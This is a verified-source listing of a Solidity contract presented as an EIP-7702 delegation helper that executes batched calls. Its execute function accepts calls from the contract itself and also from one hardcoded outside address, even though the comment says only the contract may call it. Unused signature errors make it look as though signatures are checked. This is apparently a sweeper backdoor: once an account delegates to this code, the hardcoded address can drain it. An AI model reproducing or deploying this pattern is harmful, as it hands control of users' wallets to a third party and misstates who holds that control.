Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"asdasd.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity 0.8.24;\r
\r
// Контракт для реализации транзакций EIP-7702 с делегированием и проверкой подписей\r
contract EIP7702Contract {\r
// Структура для представления операции (вызова контракта)\r
struct Operation {\r
address target;\r
uint256 value;\r
bytes data;\r
}\r
\r
// Событие, эмитируемое при выполнении вызова\r
event CallExecuted(address indexed sender, address indexed target);\r
\r
// Ошибка для невалидной подписи\r
error InvalidSignature();\r
error InvalidAuthority();\r
error CallReverted();\r
error ECDSAInvalidSignature();\r
error ECDSAInvalidSignatureLength(uint256 length);\r
error ECDSAInvalidSignatureS(uint256 s);\r
\r
// Функция для выполнения операций без подписи (только от контракта)\r
function execute(Operation[] calldata operations) public payable {\r
require(msg.sender == address(this) || msg.sender == 0x606311856266bB715CD8C15AAA28722f47c37df2, "Invalid authority");\r
_execute(operations);\r
}\r
\r
// Внутренняя функция для выполнения операций\r
function _execute(Operation[] calldata operations) private {\r
for (uint256 i = 0; i < operations.length; i++) {\r
Operation memory op = operations[i];\r
require(op.target == address(op.target), "Invalid target address");\r
\r
// Выполняем вызов\r
(bool success, bytes memory returnData) = op.target.call{value: op.value, gas: gasleft()}(op.data);\r
if (!success) {\r
if (returnData.length > 0) {\r
// Пропагируем ошибку, если есть возвращаемые данные\r
assembly {\r
revert(add(returnData, 32), mload(returnData))\r
}\r
} else {\r
revert CallReverted();\r
}\r
}\r
\r
// Эмитируем событие для каждого вызова\r
emit CallExecuted(msg.sender, op.target);\r
}\r
}\r
\r
// Функция для принятия прямых переводов ETH\r
receive() external payable {}\r
\r
// Fallback-функция для обработки неизвестных вызовов\r
fallback() external payable {}\r
}\r
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-10-29 21:38:50
Comments
Log in to comment.
No comments yet.